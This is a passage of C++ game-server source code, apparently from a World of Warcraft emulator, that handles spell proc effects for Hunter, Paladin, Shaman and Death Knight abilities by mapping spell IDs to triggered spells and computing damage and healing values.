// mana cost save
int32 mana = procSpell->manaCost + procSpell->ManaCostPercentage * GetCreateMana() / 100;
basepoints[0] = mana * 40/100;
if (basepoints[0] <= 0)
return SPELL_AURA_PROC_FAILED;
target = this;
triggered_spell_id = 34720;
break;
}
// Hunting Party
if (dummySpell->SpellIconID == 3406)
{
triggered_spell_id = 57669;
target = this;
break;
}
// Lock and Load
if ( dummySpell->SpellIconID == 3579 )
{
// Proc only from periodic (from trap activation proc another aura of this spell)
if (!(procFlag & PROC_FLAG_ON_DO_PERIODIC) || !roll_chance_i(triggerAmount))
return SPELL_AURA_PROC_FAILED;
triggered_spell_id = 56453;
target = this;
break;
}
// Rapid Recuperation
if ( dummySpell->SpellIconID == 3560 )
{
// This effect only from Rapid Killing (mana regen)
if (!(procSpell->SpellFamilyFlags & UI64LIT(0x0100000000000000)))
return SPELL_AURA_PROC_FAILED;
target = this;
switch(dummySpell->Id)
{
case 53228: // Rank 1
triggered_spell_id = 56654;
break;
case 53232: // Rank 2
triggered_spell_id = 58882;
break;
}
break;
}
// Glyph of Mend Pet
if(dummySpell->Id == 57870)
{
pVictim->CastSpell(pVictim, 57894, true, NULL, NULL, GetGUID());
return SPELL_AURA_PROC_OK;
}
// Misdirection
else if(dummySpell->Id == 34477)
{
triggered_spell_id = 35079; // 4 sec buff on self
target = this;
break;
}
// Guard Dog
else if (dummySpell->SpellIconID == 201 && procSpell->SpellIconID == 201)
{
triggered_spell_id = 54445;
target = this;
if (pVictim)
pVictim->AddThreat(this,procSpell->EffectBasePoints[0] * triggerAmount / 100.0f);
break;
}
break;
}
case SPELLFAMILY_PALADIN:
{
// Seal of Righteousness - melee proc dummy (addition ${$MWS*(0.022*$AP+0.044*$SPH)} damage)
if ((dummySpell->SpellFamilyFlags & UI64LIT(0x000000008000000)) && effIndex == EFFECT_INDEX_0)
{
triggered_spell_id = 25742;
float ap = GetTotalAttackPowerValue(BASE_ATTACK);
int32 holy = SpellBaseDamageBonusDone(SPELL_SCHOOL_MASK_HOLY);
if (holy < 0)
holy = 0;
basepoints[0] = GetAttackTime(BASE_ATTACK) * int32(ap*0.022f + 0.044f * holy) / 1000;
break;
}
// Righteous Vengeance
if (dummySpell->SpellIconID == 3025)
{
// 4 damage tick
basepoints[0] = triggerAmount*damage/400;
triggered_spell_id = 61840;
break;
}
// Sheath of Light
if (dummySpell->SpellIconID == 3030)
{
// 4 healing tick
basepoints[0] = triggerAmount*damage/400;
triggered_spell_id = 54203;
break;
}
switch(dummySpell->Id)
{
// Judgement of Light
case 20185:
{
if (pVictim == this)
return SPELL_AURA_PROC_FAILED;
basepoints[0] = int32( pVictim->GetMaxHealth() * triggeredByAura->GetModifier()->m_amount / 100 );
pVictim->CastCustomSpell(pVictim, 20267, &basepoints[0], NULL, NULL, true, NULL, triggeredByAura);
return SPELL_AURA_PROC_OK;
}
// Judgement of Wisdom
case 20186:
{
if (pVictim->getPowerType() == POWER_MANA)
{
// 2% of maximum base mana
basepoints[0] = int32(pVictim->GetCreateMana() * 2 / 100);
pVictim->CastCustomSpell(pVictim, 20268, &basepoints[0], NULL, NULL, true, NULL, triggeredByAura);
}
return SPELL_AURA_PROC_OK;
}
// Heart of the Crusader (Rank 1)
case 20335:
triggered_spell_id = 21183;
break;
// Heart of the Crusader (Rank 2)
case 20336:
triggered_spell_id = 54498;
break;
// Heart of the Crusader (Rank 3)
case 20337:
triggered_spell_id = 54499;
break;
case 20911: // Blessing of Sanctuary
case 25899: // Greater Blessing of Sanctuary
{
target = this;
switch (target->getPowerType())
{
case POWER_MANA:
triggered_spell_id = 57319;
break;
default:
return SPELL_AURA_PROC_FAILED;
}
break;
}
// Holy Power (Redemption Armor set)
case 28789:
{
if(!pVictim)
return SPELL_AURA_PROC_FAILED;
// Set class defined buff
switch (pVictim->getClass())
{
case CLASS_PALADIN:
case CLASS_PRIEST:
case CLASS_SHAMAN:
case CLASS_DRUID:
triggered_spell_id = 28795; // Increases the friendly target's mana regeneration by $s1 per 5 sec. for $d.
break;
case CLASS_MAGE:
case CLASS_WARLOCK:
triggered_spell_id = 28793; // Increases the friendly target's spell damage and healing by up to $s1 for $d.
break;
case CLASS_HUNTER:
case CLASS_ROGUE:
triggered_spell_id = 28791; // Increases the friendly target's attack power by $s1 for $d.
break;
case CLASS_WARRIOR:
triggered_spell_id = 28790; // Increases the friendly target's armor
break;
default:
return SPELL_AURA_PROC_FAILED;
}
break;
}
// Spiritual Attunement
case 31785:
case 33776:
{
// if healed by another unit (pVictim)
if (this == pVictim)
return SPELL_AURA_PROC_FAILED;
// dont count overhealing
uint32 diff = GetMaxHealth()-GetHealth();
if (!diff)
return SPELL_AURA_PROC_FAILED;
if (damage > diff)
basepoints[0] = triggerAmount*diff/100;
else
basepoints[0] = triggerAmount*damage/100;
target = this;
triggered_spell_id = 31786;
break;
}
// Seal of Vengeance (damage calc on apply aura)
case 31801:
{
if (effIndex != EFFECT_INDEX_0) // effect 1,2 used by seal unleashing code
return SPELL_AURA_PROC_FAILED;
// At melee attack or Hammer of the Righteous spell damage considered as melee attack
if ((procFlag & PROC_FLAG_SUCCESSFUL_MELEE_HIT) || (procSpell && procSpell->Id == 53595) )
triggered_spell_id = 31803; // Holy Vengeance
// Add 5-stack effect from Holy Vengeance
uint32 stacks = 0;
AuraList const& auras = target->GetAurasByType(SPELL_AURA_PERIODIC_DAMAGE);
for(AuraList::const_iterator itr = auras.begin(); itr!=auras.end(); ++itr)
{
if (((*itr)->GetId() == 31803) && (*itr)->GetCasterGuid() == GetObjectGuid())
{
stacks = (*itr)->GetStackAmount();
break;
}
}
if (stacks >= 5)
CastSpell(target,42463,true,NULL,triggeredByAura);
break;
}
// Judgements of the Wise
case 31876:
case 31877:
case 31878:
// triggered only at casted Judgement spells, not at additional Judgement effects
if(!procSpell || procSpell->Category != 1210)
return SPELL_AURA_PROC_FAILED;
target = this;
triggered_spell_id = 31930;
// Replenishment
CastSpell(this, 57669, true, NULL, triggeredByAura);
break;
// Paladin Tier 6 Trinket (Ashtongue Talisman of Zeal)
case 40470:
{
if (!procSpell)
return SPELL_AURA_PROC_FAILED;
float chance;
// Flash of light/Holy light
if (procSpell->SpellFamilyFlags & UI64LIT(0x00000000C0000000))
{
triggered_spell_id = 40471;
chance = 15.0f;
}
// Judgement (any)
else if (GetSpellSpecific(procSpell->Id)==SPELL_JUDGEMENT)
{
triggered_spell_id = 40472;
chance = 50.0f;
}
else
return SPELL_AURA_PROC_FAILED;
if (!roll_chance_f(chance))
return SPELL_AURA_PROC_FAILED;
break;
}
// Light's Beacon (heal target area aura)
case 53651:
{
// not do bonus heal for explicit beacon focus healing
if (GetObjectGuid() == triggeredByAura->GetCasterGuid())
return SPELL_AURA_PROC_FAILED;
// beacon
Unit* beacon = triggeredByAura->GetCaster();
if (!beacon)
return SPELL_AURA_PROC_FAILED;
if (procSpell->Id == 20267)
return SPELL_AURA_PROC_FAILED;
// find caster main aura at beacon
Aura* dummy = NULL;
Unit::AuraList const& baa = beacon->GetAurasByType(SPELL_AURA_PERIODIC_TRIGGER_SPELL);
for(Unit::AuraList::const_iterator i = baa.begin(); i != baa.end(); ++i)
{
if ((*i)->GetId() == 53563 && (*i)->GetCasterGuid() == pVictim->GetObjectGuid())
{
dummy = (*i);
break;
}
}
// original heal must be form beacon caster
if (!dummy)
return SPELL_AURA_PROC_FAILED;
triggered_spell_id = 53652; // Beacon of Light
basepoints[0] = triggeredByAura->GetModifier()->m_amount*damage/100;
// cast with original caster set but beacon to beacon for apply caster mods and avoid LoS check
beacon->CastCustomSpell(beacon,triggered_spell_id,&basepoints[0],NULL,NULL,true,castItem,triggeredByAura,pVictim->GetGUID());
return SPELL_AURA_PROC_OK;
}
// Seal of Corruption (damage calc on apply aura)
case 53736:
{
if (effIndex != EFFECT_INDEX_0) // effect 1,2 used by seal unleashing code
return SPELL_AURA_PROC_FAILED;
// At melee attack or Hammer of the Righteous spell damage considered as melee attack
if ((procFlag & PROC_FLAG_SUCCESSFUL_MELEE_HIT) || (procSpell && procSpell->Id == 53595))
triggered_spell_id = 53742; // Blood Corruption
// Add 5-stack effect from Blood Corruption
uint32 stacks = 0;
AuraList const& auras = target->GetAurasByType(SPELL_AURA_PERIODIC_DAMAGE);
for(AuraList::const_iterator itr = auras.begin(); itr!=auras.end(); ++itr)
{
if (((*itr)->GetId() == 53742) && (*itr)->GetCasterGuid() == GetObjectGuid())
{
stacks = (*itr)->GetStackAmount();
break;
}
}
if (stacks >= 5)
CastSpell(target,53739,true,NULL,triggeredByAura);
break;
}
// Glyph of Holy Light
case 54937:
{
triggered_spell_id = 54968;
basepoints[0] = triggerAmount*damage/100;
break;
}
// Sacred Shield (buff)
case 58597:
{
triggered_spell_id = 66922;
SpellEntry const* triggeredEntry = sSpellStore.LookupEntry(triggered_spell_id);
if (!triggeredEntry)
return SPELL_AURA_PROC_FAILED;
if(pVictim)
if(!pVictim->HasAura(53569, EFFECT_INDEX_0) && !pVictim->HasAura(53576, EFFECT_INDEX_0))
return SPELL_AURA_PROC_FAILED;
basepoints[0] = int32(damage / (GetSpellDuration(triggeredEntry) / triggeredEntry->EffectAmplitude[EFFECT_INDEX_0]));
target = this;
break;
}
// Sacred Shield (talent rank)
case 53601:
{
// triggered_spell_id in spell data
target = this;
break;
}
// Item - Paladin T10 Holy 2P Bonus
case 70755:
{
triggered_spell_id = 71166;
break;
}
// Item - Paladin T10 Retribution 2P Bonus
case 70765:
{
if (GetTypeId() != TYPEID_PLAYER)
return SPELL_AURA_PROC_FAILED;
((Player*)this)->RemoveSpellCooldown(53385, true);
return SPELL_AURA_PROC_OK;
}
// Anger Capacitor
case 71406: // normal
case 71545: // heroic
{
if (!pVictim)
return SPELL_AURA_PROC_FAILED;
SpellEntry const* mote = sSpellStore.LookupEntry(71432);
if (!mote)
return SPELL_AURA_PROC_FAILED;
uint32 maxStack = mote->StackAmount - (dummySpell->Id == 71545 ? 1 : 0);
SpellAuraHolder *aurHolder = GetSpellAuraHolder(71432);
if (aurHolder && uint32(aurHolder->GetStackAmount() +1) >= maxStack)
{
RemoveAurasDueToSpell(71432); // Mote of Anger
// Manifest Anger (main hand/off hand)
CastSpell(pVictim, !haveOffhandWeapon() || roll_chance_i(50) ? 71433 : 71434, true);
return SPELL_AURA_PROC_OK;
}
else
triggered_spell_id = 71432;
break;
}
// Heartpierce, Item - Icecrown 25 Normal Dagger Proc
case 71880:
{
if(GetTypeId() != TYPEID_PLAYER)
return SPELL_AURA_PROC_FAILED;
switch (this->getPowerType())
{
case POWER_ENERGY: triggered_spell_id = 71882; break;
case POWER_RAGE: triggered_spell_id = 71883; break;
case POWER_MANA: triggered_spell_id = 71881; break;
default:
return SPELL_AURA_PROC_FAILED;
}
break;
}
// Heartpierce, Item - Icecrown 25 Heroic Dagger Proc
case 71892:
{
if(GetTypeId() != TYPEID_PLAYER)
return SPELL_AURA_PROC_FAILED;
switch (this->getPowerType())
{
case POWER_ENERGY: triggered_spell_id = 71887; break;
case POWER_RAGE: triggered_spell_id = 71886; break;
case POWER_MANA: triggered_spell_id = 71888; break;
default:
return SPELL_AURA_PROC_FAILED;
}
break;
}
}
break;
}
case SPELLFAMILY_SHAMAN:
{
switch(dummySpell->Id)
{
// Totemic Power (The Earthshatterer set)
case 28823:
{
if (!pVictim)
return SPELL_AURA_PROC_FAILED;
// Set class defined buff
switch (pVictim->getClass())
{
case CLASS_PALADIN:
case CLASS_PRIEST:
case CLASS_SHAMAN:
case CLASS_DRUID:
triggered_spell_id = 28824; // Increases the friendly target's mana regeneration by $s1 per 5 sec. for $d.
break;
case CLASS_MAGE:
case CLASS_WARLOCK:
triggered_spell_id = 28825; // Increases the friendly target's spell damage and healing by up to $s1 for $d.
break;
case CLASS_HUNTER:
case CLASS_ROGUE:
triggered_spell_id = 28826; // Increases the friendly target's attack power by $s1 for $d.
break;
case CLASS_WARRIOR:
triggered_spell_id = 28827; // Increases the friendly target's armor
break;
default:
return SPELL_AURA_PROC_FAILED;
}
break;
}
// Lesser Healing Wave (Totem of Flowing Water Relic)
case 28849:
{
target = this;
triggered_spell_id = 28850;
break;
}
// Windfury Weapon (Passive) 1-5 Ranks
case 33757:
{
if(GetTypeId()!=TYPEID_PLAYER)
return SPELL_AURA_PROC_FAILED;
if(!castItem || !castItem->IsEquipped())
return SPELL_AURA_PROC_FAILED;
// custom cooldown processing case
if (cooldown && ((Player*)this)->HasSpellCooldown(dummySpell->Id))
return SPELL_AURA_PROC_FAILED;
// Now amount of extra power stored in 1 effect of Enchant spell
// Get it by item enchant id
uint32 spellId;
switch (castItem->GetEnchantmentId(EnchantmentSlot(TEMP_ENCHANTMENT_SLOT)))
{
case 283: spellId = 8232; break; // 1 Rank
case 284: spellId = 8235; break; // 2 Rank
case 525: spellId = 10486; break; // 3 Rank
case 1669:spellId = 16362; break; // 4 Rank
case 2636:spellId = 25505; break; // 5 Rank
case 3785:spellId = 58801; break; // 6 Rank
case 3786:spellId = 58803; break; // 7 Rank
case 3787:spellId = 58804; break; // 8 Rank
default:
{
sLog.outError("Unit::HandleDummyAuraProc: non handled item enchantment (rank?) %u for spell id: %u (Windfury)",
castItem->GetEnchantmentId(EnchantmentSlot(TEMP_ENCHANTMENT_SLOT)),dummySpell->Id);
return SPELL_AURA_PROC_FAILED;
}
}
SpellEntry const* windfurySpellEntry = sSpellStore.LookupEntry(spellId);
if(!windfurySpellEntry)
{
sLog.outError("Unit::HandleDummyAuraProc: nonexistent spell id: %u (Windfury)",spellId);
return SPELL_AURA_PROC_FAILED;
}
int32 extra_attack_power = CalculateSpellDamage(pVictim, windfurySpellEntry, EFFECT_INDEX_1);
// Totem of Splintering
if (Aura* aura = GetAura(60764, EFFECT_INDEX_0))
extra_attack_power += aura->GetModifier()->m_amount;
// Off-Hand case
if (castItem->GetSlot() == EQUIPMENT_SLOT_OFFHAND)
{
// Value gained from additional AP
basepoints[0] = int32(extra_attack_power/14.0f * GetAttackTime(OFF_ATTACK)/1000/2);
triggered_spell_id = 33750;
}
// Main-Hand case
else
{
// Value gained from additional AP
basepoints[0] = int32(extra_attack_power/14.0f * GetAttackTime(BASE_ATTACK)/1000);
triggered_spell_id = 25504;
}
// apply cooldown before cast to prevent processing itself
if( cooldown )
((Player*)this)->AddSpellCooldown(dummySpell->Id,0,time(NULL) + cooldown);
// Attack Twice
for ( uint32 i = 0; i<2; ++i )
CastCustomSpell(pVictim,triggered_spell_id,&basepoints[0],NULL,NULL,true,castItem,triggeredByAura);
return SPELL_AURA_PROC_OK;
}
// Shaman Tier 6 Trinket
case 40463:
{
if (!procSpell)
return SPELL_AURA_PROC_FAILED;
float chance;
if (procSpell->SpellFamilyFlags & UI64LIT(0x0000000000000001))
{
triggered_spell_id = 40465; // Lightning Bolt
chance = 15.0f;
}
else if (procSpell->SpellFamilyFlags & UI64LIT(0x0000000000000080))
{
triggered_spell_id = 40465; // Lesser Healing Wave
chance = 10.0f;
}
else if (procSpell->SpellFamilyFlags & UI64LIT(0x0000001000000000))
{
triggered_spell_id = 40466; // Stormstrike
chance = 50.0f;
}
else
return SPELL_AURA_PROC_FAILED;
if (!roll_chance_f(chance))
return SPELL_AURA_PROC_FAILED;
target = this;
break;
}
// Earthen Power
case 51523:
case 51524:
{
triggered_spell_id = 63532;
break;
}
// Glyph of Healing Wave
case 55440:
{
// Not proc from self heals
if (this==pVictim)
return SPELL_AURA_PROC_FAILED;
basepoints[0] = triggerAmount * damage / 100;
target = this;
triggered_spell_id = 55533;
break;
}
// Spirit Hunt
case 58877:
{
// Cast on owner
target = GetOwner();
if (!target)
return SPELL_AURA_PROC_FAILED;
basepoints[0] = triggerAmount * damage / 100;
triggered_spell_id = 58879;
break;
}
// Glyph of Totem of Wrath
case 63280:
{
Totem* totem = GetTotem(TOTEM_SLOT_FIRE);
if (!totem)
return SPELL_AURA_PROC_FAILED;
// find totem aura bonus
AuraList const& spellPower = totem->GetAurasByType(SPELL_AURA_NONE);
for(AuraList::const_iterator i = spellPower.begin();i != spellPower.end(); ++i)
{
// select proper aura for format aura type in spell proto
if ((*i)->GetTarget()==totem && (*i)->GetSpellProto()->EffectApplyAuraName[(*i)->GetEffIndex()] == SPELL_AURA_MOD_HEALING_DONE &&
(*i)->GetSpellProto()->SpellFamilyName == SPELLFAMILY_SHAMAN && (*i)->GetSpellProto()->SpellFamilyFlags & UI64LIT(0x0000000004000000))
{
basepoints[0] = triggerAmount * (*i)->GetModifier()->m_amount / 100;
break;
}
}
if (!basepoints[0])
return SPELL_AURA_PROC_FAILED;
basepoints[1] = basepoints[0];
triggered_spell_id = 63283; // Totem of Wrath, caster bonus
target = this;
break;
}
// Shaman T8 Elemental 4P Bonus
case 64928:
{
basepoints[0] = int32( basepoints[0] / 2); // basepoints is for 1 tick, not all DoT amount
triggered_spell_id = 64930; // Electrified
break;
}
// Shaman T9 Elemental 4P Bonus
case 67228:
{
basepoints[0] = int32( basepoints[0] / 3); // basepoints is for 1 tick, not all DoT amount
triggered_spell_id = 71824;
break;
}
// Item - Shaman T10 Restoration 4P Bonus
case 70808:
{
basepoints[0] = int32( triggerAmount * damage / 100 );
basepoints[0] = int32( basepoints[0] / 3); // basepoints is for 1 tick, not all DoT amount
triggered_spell_id = 70809;
break;
}
// Item - Shaman T10 Elemental 4P Bonus
case 70817:
{
if (Aura *aur = pVictim->GetAura(SPELL_AURA_PERIODIC_DAMAGE, SPELLFAMILY_SHAMAN, UI64LIT(0x0000000010000000), 0, GetGUID()))
{
int32 amount = aur->GetAuraDuration() + triggerAmount * IN_MILLISECONDS;
aur->SetAuraDuration(amount);
aur->UpdateAura(false);
return SPELL_AURA_PROC_OK;
}
return SPELL_AURA_PROC_FAILED;
}
}
// Storm, Earth and Fire
if (dummySpell->SpellIconID == 3063)
{
// Earthbind Totem summon only
if(procSpell->Id != 2484)
return SPELL_AURA_PROC_FAILED;
if (!roll_chance_i(triggerAmount))
return SPELL_AURA_PROC_FAILED;
triggered_spell_id = 64695;
break;
}
// Ancestral Awakening
if (dummySpell->SpellIconID == 3065)
{
triggered_spell_id = 52759;
basepoints[0] = triggerAmount * damage / 100;
target = this;
break;
}
// Flametongue Weapon (Passive), Ranks
if (dummySpell->SpellFamilyFlags & UI64LIT(0x0000000000200000))
{
if (GetTypeId()!=TYPEID_PLAYER || !castItem)
return SPELL_AURA_PROC_FAILED;
// Only proc for enchanted weapon
Item *usedWeapon = ((Player *)this)->GetWeaponForAttack(procFlag & PROC_FLAG_SUCCESSFUL_OFFHAND_HIT ? OFF_ATTACK : BASE_ATTACK, true, true);
if (usedWeapon != castItem)
return SPELL_AURA_PROC_FAILED;
switch (dummySpell->Id)
{
case 10400: triggered_spell_id = 8026; break; // Rank 1
case 15567: triggered_spell_id = 8028; break; // Rank 2
case 15568: triggered_spell_id = 8029; break; // Rank 3
case 15569: triggered_spell_id = 10445; break; // Rank 4
case 16311: triggered_spell_id = 16343; break; // Rank 5
case 16312: triggered_spell_id = 16344; break; // Rank 6
case 16313: triggered_spell_id = 25488; break; // Rank 7
case 58784: triggered_spell_id = 58786; break; // Rank 8
case 58791: triggered_spell_id = 58787; break; // Rank 9
case 58792: triggered_spell_id = 58788; break; // Rank 10
default:
return SPELL_AURA_PROC_FAILED;
}
break;
}
// Earth Shield
if (dummySpell->SpellFamilyFlags & UI64LIT(0x0000040000000000))
{
originalCaster = triggeredByAura->GetCasterGuid();
target = this;
basepoints[0] = triggerAmount;
// Glyph of Earth Shield
if (Aura* aur = GetDummyAura(63279))
{
int32 aur_mod = aur->GetModifier()->m_amount;
basepoints[0] = int32(basepoints[0] * (aur_mod + 100.0f) / 100.0f);
}
triggered_spell_id = 379;
break;
}
// Improved Water Shield
if (dummySpell->SpellIconID == 2287)
{
// Lesser Healing Wave need aditional 60% roll
if ((procSpell->SpellFamilyFlags & UI64LIT(0x0000000000000080)) && !roll_chance_i(60))
return SPELL_AURA_PROC_FAILED;
// Chain Heal needs additional 30% roll
if ((procSpell->SpellFamilyFlags & UI64LIT(0x0000000000000100)) && !roll_chance_i(30))
return SPELL_AURA_PROC_FAILED;
// lookup water shield
AuraList const& vs = GetAurasByType(SPELL_AURA_PROC_TRIGGER_SPELL);
for(AuraList::const_iterator itr = vs.begin(); itr != vs.end(); ++itr)
{
if ((*itr)->GetSpellProto()->SpellFamilyName == SPELLFAMILY_SHAMAN &&
((*itr)->GetSpellProto()->SpellFamilyFlags & UI64LIT(0x0000002000000000)))
{
uint32 spell = (*itr)->GetSpellProto()->EffectTriggerSpell[(*itr)->GetEffIndex()];
CastSpell(this, spell, true, castItem, triggeredByAura);
return SPELL_AURA_PROC_OK;
}
}
return SPELL_AURA_PROC_FAILED;
}
// Lightning Overload
if (dummySpell->SpellIconID == 2018) // only this spell have SpellFamily Shaman SpellIconID == 2018 and dummy aura
{
if(!procSpell || GetTypeId() != TYPEID_PLAYER || !pVictim )
return SPELL_AURA_PROC_FAILED;
// custom cooldown processing case
if( cooldown && GetTypeId()==TYPEID_PLAYER && ((Player*)this)->HasSpellCooldown(dummySpell->Id))
return SPELL_AURA_PROC_FAILED;
uint32 spellId = 0;
// Every Lightning Bolt and Chain Lightning spell have duplicate vs half damage and zero cost
switch (procSpell->Id)
{
// Lightning Bolt
case 403: spellId = 45284; break; // Rank 1
case 529: spellId = 45286; break; // Rank 2
case 548: spellId = 45287; break; // Rank 3
case 915: spellId = 45288; break; // Rank 4
case 943: spellId = 45289; break; // Rank 5
case 6041: spellId = 45290; break; // Rank 6
case 10391: spellId = 45291; break; // Rank 7
case 10392: spellId = 45292; break; // Rank 8
case 15207: spellId = 45293; break; // Rank 9
case 15208: spellId = 45294; break; // Rank 10
case 25448: spellId = 45295; break; // Rank 11
case 25449: spellId = 45296; break; // Rank 12
case 49237: spellId = 49239; break; // Rank 13
case 49238: spellId = 49240; break; // Rank 14
// Chain Lightning
case 421: spellId = 45297; break; // Rank 1
case 930: spellId = 45298; break; // Rank 2
case 2860: spellId = 45299; break; // Rank 3
case 10605: spellId = 45300; break; // Rank 4
case 25439: spellId = 45301; break; // Rank 5
case 25442: spellId = 45302; break; // Rank 6
case 49270: spellId = 49268; break; // Rank 7
case 49271: spellId = 49269; break; // Rank 8
default:
sLog.outError("Unit::HandleDummyAuraProc: non handled spell id: %u (LO)", procSpell->Id);
return SPELL_AURA_PROC_FAILED;
}
// Remove cooldown (Chain Lightning - have Category Recovery time)
if (procSpell->SpellFamilyFlags & UI64LIT(0x0000000000000002))
((Player*)this)->RemoveSpellCooldown(spellId);
CastSpell(pVictim, spellId, true, castItem, triggeredByAura);
if (cooldown && GetTypeId() == TYPEID_PLAYER)
((Player*)this)->AddSpellCooldown(dummySpell->Id, 0, time(NULL) + cooldown);
return SPELL_AURA_PROC_OK;
}
// Static Shock
if(dummySpell->SpellIconID == 3059)
{
// lookup Lightning Shield
AuraList const& vs = GetAurasByType(SPELL_AURA_PROC_TRIGGER_SPELL);
for(AuraList::const_iterator itr = vs.begin(); itr != vs.end(); ++itr)
{
if ((*itr)->GetSpellProto()->SpellFamilyName == SPELLFAMILY_SHAMAN &&
((*itr)->GetSpellProto()->SpellFamilyFlags & UI64LIT(0x0000000000000400)))
{
uint32 spell = 0;
switch ((*itr)->GetId())
{
case 324: spell = 26364; break;
case 325: spell = 26365; break;
case 905: spell = 26366; break;
case 945: spell = 26367; break;
case 8134: spell = 26369; break;
case 10431: spell = 26370; break;
case 10432: spell = 26363; break;
case 25469: spell = 26371; break;
case 25472: spell = 26372; break;
case 49280: spell = 49278; break;
case 49281: spell = 49279; break;
default:
return SPELL_AURA_PROC_FAILED;
}
CastSpell(target, spell, true, castItem, triggeredByAura);
if ((*itr)->GetHolder()->DropAuraCharge())
RemoveAuraHolderFromStack((*itr)->GetId());
return SPELL_AURA_PROC_OK;
}
}
return SPELL_AURA_PROC_FAILED;
}
// Frozen Power
if (dummySpell->SpellIconID == 3780)
{
Unit *caster = triggeredByAura->GetCaster();
if (!procSpell || !caster)
return SPELL_AURA_PROC_FAILED;
float distance = caster->GetDistance(pVictim);
int32 chance = triggerAmount;
if (distance < 15.0f || !roll_chance_i(chance))
return SPELL_AURA_PROC_FAILED;
// make triggered cast apply after current damage spell processing for prevent remove by it
if(Spell* spell = GetCurrentSpell(CURRENT_GENERIC_SPELL))
spell->AddTriggeredSpell(63685);
return SPELL_AURA_PROC_OK;
}
break;
}
case SPELLFAMILY_DEATHKNIGHT:
{
// Butchery
if (dummySpell->SpellIconID == 2664)
{
basepoints[0] = triggerAmount;
triggered_spell_id = 50163;
target = this;
break;
}
// Dancing Rune Weapon
if (dummySpell->Id == 49028)
{
// 1 dummy aura for dismiss rune blade
if (effIndex != EFFECT_INDEX_1)
return SPELL_AURA_PROC_FAILED;
Pet* runeBlade = FindGuardianWithEntry(27893);
if (runeBlade && pVictim && damage && procSpell)
{
int32 procDmg = damage * 0.5;
runeBlade->CastCustomSpell(pVictim, procSpell->Id, &procDmg, NULL, NULL, true, NULL, NULL, runeBlade->GetGUID());
SendSpellNonMeleeDamageLog(pVictim, procSpell->Id, procDmg, SPELL_SCHOOL_MASK_NORMAL, 0, 0, false, 0, false);
break;
}
else
return SPELL_AURA_PROC_FAILED;
}
// Mark of Blood
if (dummySpell->Id == 49005)
{
if (target->GetTypeId() != TYPEID_PLAYER)
return SPELL_AURA_PROC_FAILED;
// TODO: need more info (cooldowns/PPM)
target->CastSpell(target, 61607, true, NULL, triggeredByAura);
return SPELL_AURA_PROC_OK;
}
// Unholy Blight
if (dummySpell->Id == 49194)
{
basepoints[0] = damage * triggerAmount / 100;
// Glyph of Unholy Blight
if (Aura *aura = GetDummyAura(63332))
basepoints[0] += basepoints[0] * aura->GetModifier()->m_amount / 100;
// Split between 10 ticks
basepoints[0] /= 10;
triggered_spell_id = 50536;
break;
}
// Vendetta
if (dummySpell->SpellFamilyFlags & UI64LIT(0x0000000000010000))
{
basepoints[0] = triggerAmount * GetMaxHealth() / 100;
triggered_spell_id = 50181;
target = this;
break;
}
// Necrosis
if (dummySpell->SpellIconID == 2709)
{
// only melee auto attack affected and Rune Strike
if (procSpell && procSpell->Id != 56815)
return SPELL_AURA_PROC_FAILED;
basepoints[0] = triggerAmount * damage / 100;
triggered_spell_id = 51460;
break;
}
// Threat of Thassarian
if (dummySpell->SpellIconID == 2023)
{
// Must Dual Wield
if (!procSpell || !haveOffhandWeapon())
return SPELL_AURA_PROC_FAILED;
// Chance as basepoints for dummy aura
if (!roll_chance_i(triggerAmount))
return SPELL_AURA_PROC_FAILED;
switch (procSpell->Id)
{
// Obliterate
case 49020: // Rank 1
triggered_spell_id = 66198; break;
case 51423: // Rank 2
triggered_spell_id = 66972; break;
case 51424: // Rank 3
triggered_spell_id = 66973; break;
case 51425: // Rank 4
triggered_spell_id = 66974; break;
// Frost Strike
case 49143: // Rank 1
triggered_spell_id = 66196; break;
case 51416: // Rank 2
triggered_spell_id = 66958; break;
case 51417: // Rank 3
triggered_spell_id = 66959; break;
case 51418: // Rank 4
triggered_spell_id = 66960; break;
case 51419: // Rank 5
triggered_spell_id = 66961; break;
case 55268: // Rank 6
triggered_spell_id = 66962; break;
// Plague Strike
case 45462: // Rank 1
triggered_spell_id = 66216; break;
case 49917: // Rank 2
triggered_spell_id = 66988; break;
case 49918: // Rank 3
triggered_spell_id = 66989; break;
case 49919: // Rank 4
triggered_spell_id = 66990; break;
case 49920: // Rank 5
triggered_spell_id = 66991; break;
case 49921: // Rank 6
triggered_spell_id = 66992; break;
// Death Strike
case 49998: // Rank 1
triggered_spell_id = 66188; break;
case 49999: // Rank 2
triggered_spell_id = 66950; break;
case 45463: // Rank 3
triggered_spell_id = 66951; break;
case 49923: // Rank 4
triggered_spell_id = 66952; break;
case 49924: // Rank 5
triggered_spell_id = 66953; break;
// Rune Strike
case 56815:
triggered_spell_id = 66217; break;
// Blood Strike
case 45902: // Rank 1
triggered_spell_id = 66215; break;
case 49926: // Rank 2
triggered_spell_id = 66975; break;
case 49927: // Rank 3
triggered_spell_id = 66976; break;
case 49928: // Rank 4
triggered_spell_id = 66977; break;
case 49929: // Rank 5
triggered_spell_id = 66978; break;
case 49930: // Rank 6
triggered_spell_id = 66979; break;
default:
return SPELL_AURA_PROC_FAILED;
}
break;
}
// Runic Power Back on Snare/Root
if (dummySpell->Id == 61257)
{
// only for spells and hit/crit (trigger start always) and not start from self casted spells
if (procSpell == 0 || !(procEx & (PROC_EX_NORMAL_HIT|PROC_EX_CRITICAL_HIT)) || this == pVictim)
return SPELL_AURA_PROC_FAILED;
// Need snare or root mechanic
if (!(GetAllSpellMechanicMask(procSpell) & IMMUNE_TO_ROOT_AND_SNARE_MASK))
return SPELL_AURA_PROC_FAILED;
triggered_spell_id = 61258;
target = this;
break;
}
// Sudden Doom
if (dummySpell->SpellIconID == 1939)
{
if (!target || !target->isAlive() || this->GetTypeId() != TYPEID_PLAYER)
return SPELL_AURA_PROC_FAILED;
// get highest rank of Death Coil spell
const PlayerSpellMap& sp_list = ((Player*)this)->GetSpellMap();
for (PlayerSpellMap::const_iterator itr = sp_list.begin(); itr != sp_list.end(); ++itr)
{
if(!itr->second.active || itr->second.disabled || itr->second.state == PLAYERSPELL_REMOVED)
continue;
SpellEntry const *spellInfo = sSpellStore.LookupEntry(itr->first);
if (!spellInfo)
continue;
if (spellInfo->SpellFamilyName == SPELLFAMILY_DEATHKNIGHT && spellInfo->SpellFamilyFlags & UI64LIT(0x2000))
{
triggered_spell_id = spellInfo->Id;
break;
}
}
break;
}
// Wandering Plague
if (dummySpell->SpellIconID == 1614)
{
if (!roll_chance_f(GetUnitCriticalChance(BASE_ATTACK, pVictim)))
return SPELL_AURA_PROC_FAILED;
